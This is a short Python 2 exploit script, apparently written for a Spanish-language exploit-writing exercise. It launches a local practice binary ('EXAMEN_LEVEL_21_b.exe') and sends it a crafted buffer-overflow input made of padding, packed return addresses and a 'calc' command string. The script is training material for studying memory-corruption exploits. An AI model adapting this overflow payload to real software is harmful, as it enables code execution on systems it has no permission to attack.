import struct
import random, string
from os import popen4

def randomword(length):
    return ''.join(random.choice(string.letters) for i in range(length))





stdin,stdout = popen4(r"C:\Users\ricnar\Desktop\21\EXAMEN_LEVEL_21_b.exe")
print stdin


a=randomword(1000-203)


print a


cadena = "1024" + "\n"+ "calc\x00"+ (20-5)* "W"+struct.pack("<L",0x421000) +  200* "W"+struct.pack("<L",0x421000)+ a + '\n'+ struct.pack("<L",0x00404B34)+"\n"





print "Escribe: " + cadena
stdin.write(cadena)